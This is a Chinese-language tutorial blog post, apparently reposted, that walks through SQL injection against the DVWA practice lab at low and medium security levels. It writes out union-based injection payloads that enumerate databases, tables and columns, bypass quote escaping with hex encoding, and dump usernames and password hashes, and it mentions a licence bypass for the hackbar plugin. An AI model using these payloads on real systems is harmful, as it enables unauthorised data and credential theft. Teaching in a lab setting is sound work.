当前位置: 首页 > article >正文

【SQL注入】DVWA靶场SQL注入实践

SQL注入

一、low 等级

1)判断是否存在sql注入,输入1',返回错误

在这里插入图片描述

当输入1',返回错误,说明页面没有对1'进行过滤,即攻击者可以对数据库进行操作。

当输入1,回显正常,确认存在sql注入。
在这里插入图片描述

(2)猜解SQL查询语句中的字段数

  • ORDER BY 2 成功执行,说明查询返回了至少 2 列
1' order by 2#

在这里插入图片描述

  • ORDER BY 3 执行错误,说明查询返回2列
1' order by 3#

(3)确定回显位置为第二个位置(查询结果显示在原始查询返回的第二列的位置)

1' union select 1,2#

(4) 获取当前数据库。dvwa

1' union select 1,database()#

在这里插入图片描述

(5)获取数据库中的表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

在这里插入图片描述

(6) 获取表中的字段名

1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

在这里插入图片描述

(7) 获取字段中的数据

1' union select user,password from users#

在这里插入图片描述

二、medium等级

2.1 hackbar安装

firefox自带插件,但是遇到收费版本,需要引入一个文件({4c98c9c7-fc13-4622-b08a-a18923469c1c}.xpi)。
详细步骤见博客:hackbar绕许可、
引入文件地址。

2.2 构造post data

构造Post data :id=4&Submit=Submit。网页可以回显id=4的字段。

在这里插入图片描述

2.3 猜解SQL查询语句中的字段数。
id=1 order by 2 &Submit=Submit //正常回显
id=1 order by 3 &Submit=Submit  //报错
2.4 决定回显位置。回显位置为2。
id=1 union select 1,2 &Submit=Submit

在这里插入图片描述

2.5 获取数据库名
id=1 union select 1,database() &Submit=Submit

在这里插入图片描述

2.6 获取表名

使用下面代码来获取表名

id=4 union select 1, group_concat(table_name) from information_scheme.table where table_schema = database()&Submit=Submit

该方法行不通,需要转变思路,利用burpsuite抓包,修改数据包内容,得到网页的回显。 使用burp进行抓包。步骤如下:

  1. 安装谷歌浏览器插件:SwitchyOmega_Chromium插件

  2. 导入插件后,设置代理
    在这里插入图片描述

  3. 启用代理,打开burp可以看到抓取的流量

在这里插入图片描述
4. 使用repeater模块 按照下图进行修改
在这里插入图片描述
如下所示:
在这里插入图片描述
修改数据包内容,得到网页的回显,如下所示:
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
输入网址,页面如下:
在这里插入图片描述
上面可以看出,成功!接下来,对于数据库5.0以上的版本,存在information_schema表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表等信息;下面我们通过burp抓包修改,和上面步骤相同。

  • 使用burp抓包后,和之前步骤一样,将内容替换如下:
id=2 union select 1,table_name from information_schema.tables where table_schema=(select database())#&Submit=Submit

在这里插入图片描述
回显内容:数据库dvwa中存在两个表user和guestbook

2.7 查看表中的字段
id=3 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

使用该语句,页面无回显,原因是:

  • 当SQL语句中存在'',会直接让其转义,并不能对数据库的内容进行修改。所以需要对users进行编码;users转换为16进制为0x7573657273。因此使用如下代码来注入:
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#&Submit=Submit

在这里插入图片描述
如上图所示,可以看到我们获得了关键字段:user和password,因此我们接着使用如下语句进行注入

id=1 union select user,password from users#&Submit=Submit

在这里插入图片描述
获得了用户名和密码!

参考链接

  1. 参考博客

说明

以上仅供学习。


http://www.kler.cn/a/520286.html

相关文章:

  • 在线可编辑Excel
  • 【超详细】C#事件
  • MyBatis最佳实践:提升数据库交互效率的秘密武器
  • 聊一聊 CSS 样式的导入方式
  • 使用Ollama部署deepseek大模型
  • unity制作动画的技巧相关注意点
  • 证券投资和量化交易的概率和预测的准确性
  • 深入探索 Vue 3 Markdown 编辑器:高级功能与实现
  • 飞书项目流程入门指导手册
  • 输入带空格的字符串,求单词个数
  • javaSE.方法的重写
  • Python元组详解:不可变序列的魅力
  • git reset (取消暂存,保留工作区修改)
  • 一些烦人的go设置 goland
  • 系统架构设计基础:概念与原则
  • 笔灵ai写作技术浅析(一)
  • Python3 【正则表达式】项目实战:5 个学习案例
  • 助记词登录时提示无效怎么办?
  • Windows10官方系统下载与安装保姆级教程【U盘-官方ISO直装】
  • salesforce中如何获取一个profile的18位id